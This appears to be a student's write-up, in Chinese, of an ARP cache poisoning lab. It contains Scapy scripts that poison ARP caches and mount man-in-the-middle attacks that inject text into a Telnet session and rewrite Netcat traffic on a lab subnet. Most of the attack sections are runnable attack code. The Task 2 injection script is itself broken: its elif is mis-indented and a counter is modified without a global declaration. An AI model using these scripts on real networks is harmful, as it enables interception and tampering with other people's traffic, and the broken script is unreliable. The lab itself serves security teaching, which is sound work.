ARP_Attack

Task 1: ARP Cache Poisoning

Task 1.A (using ARP request)

from scapy.all import *

import time

E=Ether()
A=ARP()
A.op=1
A.psrc="10.9.0.6"
A.pdst="10.9.0.5"
pkt=E/A

for i in range(1,100):
    time.sleep(1)
    sendp(pkt)

使用以上程序

可以看到,arp伪造成功了,在A机器的arp cathe中

sysctl net.ipv4.ip_forward=0

使用以上口令,禁用ip_forward

开启攻击程序,使用A主机ping B主机,由下图可以看到,AB主机间的通信是中断的。证明arp伪造成功。偶尔A主机还是会收到B主机的回应包,是由于arp cathe在不断刷新,偶尔还能将ping包发送到正确的MAC地址上(即B主机上)

image-20220711092452197

Task 1.B (using ARP reply)

使用以下程序进行ARP reply请求

from scapy.all import *

import time

E=Ether()
#E.dst="10.9.0.5"
#E.src="10.9.0.6"
A=ARP()
A.op=2
A.psrc="10.9.0.6"
A.pdst="10.9.0.5"
pkt=E/A

for i in range(1,100):
    time.sleep(1)
    sendp(pkt)

使用ARP reply请求与request请求效果差不多,但是在使用reply包伪造时,request包偶尔会成功通信的几个包都不复存在了。

image-20220711101908835

Task 1.C (using ARP gratuitous message)

from scapy.all import *
import time

E=Ether()
E.dst="ff:ff:ff:ff:ff:ff"
#E.dst="10.9.0.5"
#E.src="10.9.0.6"
A=ARP()
A.psrc="10.9.0.6"
A.pdst="10.9.0.6"
A.hwdst="ff:ff:ff:ff:ff:ff"
A.op=2

pkt=E/A

while 1:
    sendp(pkt)

使用ARP广播信息伪造ARP请求。

image-20220711111750461

坑点:如果arp cathe里没有储存目标的MAC地址,使用 ARP gratuitous message时不能伪造成功,要先ping一下目标,使arp cathe 先储存有目标的MAC地址,然后在使用 ARP gratuitous message伪造ARP即可。

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step 1 (Launch the ARP cache poisoning attack)

from scapy.all import *
import time

E=Ether()
#E.dst="10.9.0.5"
#E.src="10.9.0.6"
A=ARP()
A.op=2
A.psrc="10.9.0.6"
A.pdst="10.9.0.5"
pkt=E/A
E2=Ether()
#E.dst="10.9.0.6"
#E.src="10.9.0.5"
A2=ARP()
A2.op=2
A2.psrc="10.9.0.5"
A2.pdst="10.9.0.6"
pkt2=E2/A2

while 1:
    time.sleep(1)
    sendp(pkt)
    sendp(pkt2)

使用以上程序进行ARP cache poisoning attack,此时AB主机均被投毒入侵

Step 2 (Testing).

攻击成功后,请在主机A和主机B之间尝试ping,并报告您的观察结果。请在报告中显示Wireshark的结果。在执行此步骤之前,请确保主机M上的IP转发已关闭。

image-20220712095103496

抓包显示No response seen to ICMP request

Step 3 (Turn on IP forwarding).

现在我们打开主机M的IP转发,它将转发A和b之间的数据包。请执行以下命令并重复步骤2。请描述你的观察结果。

image-20220712095624840

Step 4 (Launch the MITM attack).

telnet远程连接后sysctl net.ipv4.ip_forward=0

此时在A机上输入任何字符都没有相应

sysctl net.ipv4.ip_forward=1

之前输入的字符全都打印出来

image-20220712101600631

from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
hackdata=['h','a','c','k','e','d',' ','b','y',' ','1','m','a','n','i','t','y','\n']
top=0
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:

        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load 
            newdata = str.encode(hackdata[top])
            top+=1
            if(top>=17):
                top=0
            send(newpkt/newdata)
        else:
            send(newpkt)

        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:

            newpkt = IP(bytes(pkt[IP]))
            del(newpkt.chksum)
            del(newpkt[TCP].chksum)
            send(newpkt)        
   
f = 'tcp and(ether src host not 02:42:0a:09:00:69)'
pkt = sniff(filter=f, prn=spoof_pkt)

image-20220712104834365

image-20220712113800480

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
    global top
    print("get a packet")
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load 
            newdata = data.replace(str.encode("1manity"),str.encode("aaaaaaa"))
            send(newpkt/newdata)
        else:
            send(newpkt)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)        


fil = 'tcp and(ether src host not 02:42:0a:09:00:69)'
pkt = sniff(filter=fil, prn=spoof_pkt)#iface='eth0', 

根据题目要求,将我的名字替换成aaaaaaa,这里注意字符数不能变

image-20220712202038959

发表评论